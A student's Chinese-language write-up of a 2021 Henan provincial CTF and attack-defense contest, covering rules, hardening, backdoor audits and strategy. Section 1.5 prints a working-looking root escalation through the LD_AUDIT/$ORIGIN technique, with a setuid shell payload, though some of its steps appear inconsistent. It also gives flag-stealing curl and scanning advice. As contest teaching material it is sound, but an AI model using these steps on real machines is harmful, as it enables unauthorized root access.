第五届河南省高等学校信息安全对抗大赛总结
2021年6月19日,在袁帅老师的指导带领下,前往河南大学参加了第五届河南省高等学校信息安全对抗大赛线下赛。最终获得了线下赛三等奖。
这次比赛的许多题型与平时练习还是存在一定的偏差,通过比赛感觉自己的知识欠差很多,代码审计能力弱,写脚本能力弱,所以比赛时才没把技能发挥出来,也没有取得较好的成绩。下面对这次比赛进行总结反思,希望为学弟学妹们的学习提供一定帮助。
这次线下比赛分为挑战赛和对抗赛两个环节。上午为挑战赛、下午为对抗赛。挑战赛是标准的CTF试题,比如Web、逆向、隐写等等。对抗赛(一共10轮,每轮20分钟,每一轮刷新一次flag)可以采取2人攻击、1人防御,因为发现的漏洞可以攻击其他队伍,也要进行修复,所以攻防相辅相成,以攻为守,一方面要加固自己的靶机,同时要攻击别人的靶机以获取flag(命令为:curl http://服务器ip地址/Getkey )。
一、这次比赛完成的几个点
1.1 改密码
在对抗赛阶段,得到ssh的账户密码后,使用xshell、宝塔远程、Putty等工具ssh(登录端口为22)登陆。
登录成功后,马上修改默认密码。
修改密码使用命令:passwd
1.2 备份及访问权限设置
比赛开始后第一时间备份服务器中web目录下的文件(一般在/var/www/html),这是自我审计的基础,也是防止服务器在比赛中出现异常的情况下可以立即恢复到初始状态的先决条件。
有时候比赛可以提供3次的恢复初始设置的机会,但有时候比赛不提供(本届就没有提供恢复服务,但是在第三届、第四届的时候就可以恢复初始设置),所以备份十分重要。
可以用scp命令,也可用一些图形化的工具:Winscp、FileZilla。
至于访问权限,可以把html的部分文件夹及文件的权限设置为只读不可写不可执行(在保证靶机能够正常访问,不宕机的情况下对文件夹及文件进行设置)。
1.3 审计预留后门
在维护的服务器上,很有可能已经预留了一个或多个后门。
下面使我用Seay源代码审计系统扫描这次比赛的web源码,发现的如下的可疑漏洞、后门,最简单的方式就是将以下可疑点代码加注释或者删除。
1.4 关闭端口及扫描其他端口
关闭不必要的端口,要求的服务端口不能关。
然后用脚本(python)扫描对方开启的端口,21、22、25、3306。
扫描到对方开启的端口后可以进行尝试一些漏洞(这点我知识有点匮乏),所以我们要关闭那些不必要的端口。
1.5 权限提高
比赛给的用户只是一个普通用户(即没有一些重要权限),需要提权为超级用户。
首先创建一个普通用户,并且给普通用户设置一个密码,保证能用su 命令能用普通用户登录。
[root@ahu ~]# useradd test
[root@ahu ~]# passwd test
New password:
Retype new password:
passwd: all authentication tokens updated successfully.
[root@ahu ~]# su - test
[test@ahu ~]$ whoami
test //登陆到普通用户,发现创建不了其他用户
[test@ahu ~]$ useradd aaa
-bash: /usr/sbin/useradd: Permission denied
进行身份变换
[test@ahu ~]$ mkdir /tmp/exploit
[test@ahu ~]$ ln /bin/ping /tmp/exploit/target
[test@ahu exploit]$ exec 3< /tmp/exploit/target
[test@ahu exploit]$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 Aug 17 21:41 /proc/35612/fd/3 -> /tmp/exploit/target
[test@ahu exploit]$ rm -rf /tmp/exploit/
[test@ahu exploit]$ ls -l /proc/$$/fd/3
[test@ahu ~]$ vim payload.c
void __attribute__((constructor)) init() //在配置文件加入如下的内容
{
setuid(0);
system("/bin/bash");
}
~
[test@ahu ~]$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
[test@ahu ~]$ ls -l /tmp/exploit
[test@ahu ~]$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
[root@ahu ~]# whoami
root
发现身份变成了 root用户,身份变换成功!
二、竞赛策略
下面根据网上的资料结合自己的实际总结竞赛策略:
2.1如何攻击
2.1.1需要具备的一些东西
1、快速的漏洞反应能力。因为有的时候,一些比赛放的漏洞都是网上能查到的,所以这个时候需要一个好的搜索技巧。或者是一些rce显而易见的那种。
2、快速编写脚本的能力。因为大家的服务都是一样的,而你如果能通过比如注入的方式拿到flag,如果用hackbar一个个去弄,显然不够优雅,而且有时候特别会容易遗漏,那么这个时候写个小py无疑是极好的。
3、一个好的心态。毕竟跟你同场竞技的都是各位大佬,所以当你发现自己被打的时候,心态不要崩,一旦崩了就基本宣布gg了。
2.1.2当我们处于优势地位时
除非处于那种绝对优势的时候,我们可以什么都不在乎。
当我们处于一个微弱优势时,这个时候我们需要一个比较腹黑的思想,比如说,A队与B队只差了可能几百的分数,而A队这个时候有B队的webshell,那么如何把B队拖下水,相信大家都懂。
2.1.3当我们处于劣势地位时
首先还是那句话,心态不要崩。
其次因为web比较容易抓取流量,所以即使我们被打,我们也可以及时通过分析流量去查看别的队伍的payload,从而进行反打。
如果自己的服务器上被种了shell,删除是肯定的,但是要这样想,如果给你种了shell,那么这种一般是自动化脚本打的,就意味着别的队伍也可能被种,路径密码什么的都一样。
2.2如何防守
其实防守更多看的是谁比较细心。
2.2.1比赛开始的时候
比赛开始时,当我们连上ssh的时候,我们首先应该做的是把源码down下来,及时做好备份。然后在尽量不违反主办方check的原则下挂上自己的waf。
一般来说,主办方可能会隔一段时间提供前一时段的流量,也可能不会,所以这个时候需要我们自己去抓流量。
2.2.2然后的工作
当然是审计,审计,再审计。
2.2.3当发现被打时
当发现自己被打时,首先尝试还原以前的备份(记得备份当前),如果依然被打,这个时候应该跟队友分好工,查看抓取的流量以及查看服务器上是不是存在shell。
2.3拿到fb后
当自己拿到fb的时候,一定要淡定,淡定,淡定。首先,我们测试的对象应该是NPC(或者本地),而不是其他队伍选手的服务,因为你怎么知道人家没有流量,经常会出现,有的队伍拿到了fb,结果不是拿的npc的,自己的payload又被别的队伍拿到,而碰巧拿到的队伍,重放能力特别强,就会出现一个尴尬的局面,明明你拿的fb,结果人家打的比你还凶。(本次我们比赛中就是大意了这个)
所以,当拿到fb的时候,写打全场的exp之前,可以先打n多的混淆流量。
三、竞赛简略
- 一般分配Web服务器,服务器(多数为Linux的Ubuntu系统)某处存在flag(一般在根目录下)。
- 可能会提供一台流量分析虚拟机,可以下载流量文件进行数据分析。
- flag在主办方的设定下每隔一定时间(20分钟)刷新一轮(共10轮)。
- 各队一般都有自己的初始分数(2000分)。
- flag一旦被其他队伍拿走,该队扣除一定积分(得3,丢6)。
- 扣除的积分由获取flag的队伍均分。
- 主办方会对每个队伍的服务进行check,服务宕机(必须保证靶机可以正常访问)扣除本轮flag分数,扣除的分值由服务check正常的队伍均分。
- 一般每个队伍会给一个低权限用户,非root权限(需要提权)。
四、最后总结
个人感觉还需要提高自己的代码审计能力以及自动化脚本的编写能力,以及在WEB、MISC不同题型上的学习,如弱命令、XXS注入、SQL注入、图片分离等方面。
刘佳
2021年6月19日
空空如也!